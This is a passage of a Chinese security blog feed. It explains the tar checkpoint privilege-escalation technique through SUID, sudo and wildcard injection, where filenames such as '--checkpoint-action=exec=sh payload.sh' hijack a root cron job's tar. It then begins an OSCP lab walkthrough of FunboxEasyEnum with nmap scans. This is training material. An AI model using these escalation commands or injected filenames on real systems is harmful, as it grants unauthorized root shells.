&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh-keygen -o -a &lt;span class="m"&gt;100&lt;/span&gt; -t ed25519 &lt;span class="c1"&gt;# 使用更安全的ED25519算法&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;

 &lt;blockquote&gt;
 &lt;p&gt;💡 密钥认证比密码更安全的原因：抗暴力破解、支持双因素认证（私钥+密码）、可撤销性强。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="tar提权详解"&gt;Tar提权详解
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;tar -cf /dev/null /dev/null --checkpoint&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; --checkpoint-action&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个命令利用了 &lt;code&gt;tar&lt;/code&gt;命令的检查点功能来执行任意命令，最终会启动一个交互式的 shell（&lt;code&gt;/bin/sh&lt;/code&gt;）。下面是详细解释：&lt;/p&gt;
&lt;h4 id="命令分解"&gt;命令分解：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;tar -cf /dev/null /dev/null &lt;span class="c1"&gt;# 基础归档操作&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;--checkpoint&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;# 设置检查点间隔&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;--checkpoint-action&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/bin/sh &lt;span class="c1"&gt;# 在每个检查点执行指定命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id="逐步解释"&gt;逐步解释：
&lt;/h5&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;归档操作&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;tar -cf /dev/null /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-c&lt;/code&gt;：创建新归档&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-f /dev/null&lt;/code&gt;：指定归档文件为系统空设备（写入的内容会被丢弃）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/dev/null&lt;/code&gt;：被归档的文件（同样是空设备）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;效果&lt;/strong&gt;：实际上不产生任何文件，只是一个空操作&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;检查点设置&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;--checkpoint&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;每处理 &lt;strong&gt;1 个文件&lt;/strong&gt; 就触发一次检查点（默认是每 10 个记录触发）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;检查点动作&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;--checkpoint-action&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;在每次检查点触发时执行 &lt;code&gt;/bin/sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;效果&lt;/strong&gt;：当 &lt;code&gt;tar&lt;/code&gt;处理第一个（也是唯一一个）文件（&lt;code&gt;/dev/null&lt;/code&gt;）时立即启动一个 shell，这个Shell用哪个角色执行就是那个角色的权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250717152150979" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717152150979.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 id="-安全风险"&gt;⚠️ 安全风险：
&lt;/h5&gt;&lt;p&gt;这是著名的 &lt;strong&gt;tar 提权技术&lt;/strong&gt;，常用于：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;绕过受限环境获取完整 shell&lt;/li&gt;
&lt;li&gt;当用户有权限执行 tar 时进行权限提升&lt;/li&gt;
&lt;li&gt;反弹 shell 的技术变种&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 id="实际效果"&gt;实际效果：
&lt;/h5&gt;&lt;ul&gt;
&lt;li&gt;该命令会立即启动一个 &lt;strong&gt;交互式 shell&lt;/strong&gt;（/bin/sh）&lt;/li&gt;
&lt;li&gt;因为归档目标是 /dev/null，所以不生成任何实际文件&lt;/li&gt;
&lt;li&gt;完整命令会在当前用户上下文执行 &lt;code&gt;/bin/sh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="典型攻击场景"&gt;典型攻击场景：
&lt;/h5&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SUID 提权&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;find / -perm -u&lt;span class="o"&gt;=&lt;/span&gt;s -type f 2&amp;gt;/dev/null &lt;span class="p"&gt;|&lt;/span&gt; grep tar
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 如果返回 /bin/tar，则运行：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;/bin/tar -cf /dev/null /dev/null --checkpoint&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; --checkpoint-action&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;sudo 权限提升&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo tar -cf /dev/null /dev/null --checkpoint&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; --checkpoint-action&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;容器逃逸&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;在 Docker 容器内运行可直接获得宿主机 shell（若容器以特权模式运行）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="tar提权命令配合通配符的用法"&gt;Tar提权命令配合*通配符的用法
&lt;/h4&gt;&lt;p&gt;在本地kali中模拟靶机环境的&lt;code&gt;restapi&lt;/code&gt;文件夹，文件夹下原本存在&lt;code&gt;33414&lt;/code&gt;端口上的服务，主要是&lt;code&gt;app.py&lt;/code&gt;和 &lt;code&gt;main.py&lt;/code&gt;两个文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717152432052" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717152432052.png"&gt;&lt;/p&gt;
&lt;p&gt;当&lt;code&gt;backup-flask.sh&lt;/code&gt;执行打包命令时，正常情况下，打包的是这两个py文件。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;tar czf /tmp/flask.tar.gz *
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250717153122453" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717153122453.png"&gt;&lt;/p&gt;
&lt;p&gt;但是当在文件夹下输入这两个命令，创建了两个空文件，实际上这两个文件里什么都没写，重要的是文件名，文件名就是提权的参数。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="s1"&gt;&amp;#39;--checkpoint=1&amp;#39;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &amp;gt; &lt;span class="s1"&gt;&amp;#39;--checkpoint-action=exec=sh payload.sh&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717153617813" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717153617813.png"&gt;&lt;/p&gt;
&lt;p&gt;那么当运行 &lt;code&gt;tar czf /tmp/flask.tar.gz *&lt;/code&gt;这个命令时，通配符星号（*）意思是选取了文件夹下的所有文件，通配符星号（*）认为&amp;rsquo;&amp;ndash;checkpoint=1&amp;rsquo; 和&amp;rsquo;&amp;ndash;checkpoint-action=exec=sh payload.sh&amp;rsquo;是两个文件，所以加入到命令中，此时通配符星号（*）代表的是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;app.py flask.tar.gz main.py payload.sh &amp;#39;--checkpoint=1&amp;#39; &amp;#39;--checkpoint-action=exec=sh payload.sh&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250717154637595" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717154637595.png"&gt;&lt;/p&gt;
&lt;p&gt;但是当执行tar命令时，tar会认为后面两个是参数，不是文件名。所以执行tar时就通过文件名玩文字游戏，把提权参数写成文件名，巧妙的通过通配符送入root的定时任务，让其代劳。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250717154914825" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250717154914825.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>OSCP官方靶场-FunboxEasyEnum WP</title><link>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-funboxeasyenum-wp/</link><pubDate>Wed, 16 Jul 2025 23:45:31 +0000</pubDate><guid>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-funboxeasyenum-wp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP官方靶场-FunboxEasyEnum WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官方网页打开或下载靶场文件&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/funbox-easyenum,565/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/funbox-easyenum,565/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250716152831574" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716152831574.png"&gt;&lt;/p&gt;
&lt;h2 id="快速连接offsec靶场的小方法"&gt;快速连接OffSec靶场的小方法
&lt;/h2&gt;&lt;p&gt;&lt;img alt="image-20250716151939334" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716151939334.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716152557252" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716152557252.png"&gt;&lt;/p&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;192.168.151.132
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机在VPN中的地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;192.168.45.156
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250716153053375" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716153053375.png"&gt;&lt;/p&gt;
&lt;h3 id="测试靶场网络连接速度"&gt;测试靶场网络连接速度
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ping 192.168.151.132 -c &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep rtt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250716153338307" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716153338307.png"&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;a class="link" href="https://mp.weixin.qq.com/s/mzYB8HQGcZ9dKxt2gISGsQ" target="_blank" rel="noopener"
 &gt;【踩坑总结】丝滑连接OffSec官方VPN的方法&lt;/a&gt;中的方法测试最佳MTU值并自动设置。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250716153901858" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250716153901858.png"&gt;&lt;/p&gt;
&lt;h3 id="扫描端口"&gt;扫描端口
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.151.132 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.151.132
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.151.132
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──(kali㉿kali)-[~/Desktop]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.151.132
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 03:48 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report for bogon (192.168.151.132)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Host is up (0.096s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;| ssh-hostkey: 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;| 2048 9c:52:32:5b:8b:f6:38:c7:7f:a1:b7:04:85:49:54:f3 (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;| 256 d6:13:56:06:15:36:24:ad:65:5e:7a:a1:8c:e5:64:f4 (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;|_ 256 1b:a9:f3:5a:d0:51:83:18:3a:23:dd:c4:a9:be:59:f0 (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;|_http-title: Apache2 Ubuntu Default Page: It works
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;|_http-server-header: Apache/2.4.29 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;Device type: general purpose
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;Running: Linux 4.X|5.X
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;Network Distance: 4 hops
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──(kali㉿kali)-[~/Desktop]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.151.132
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-16 03:53 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report for bogon (192.168.151.132)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Host is up (0.11s latency).
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;| http-slowloris-check: 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;| VULNERABLE:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;| Slowloris DOS attack
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;| State: LIKELY VULNERABLE
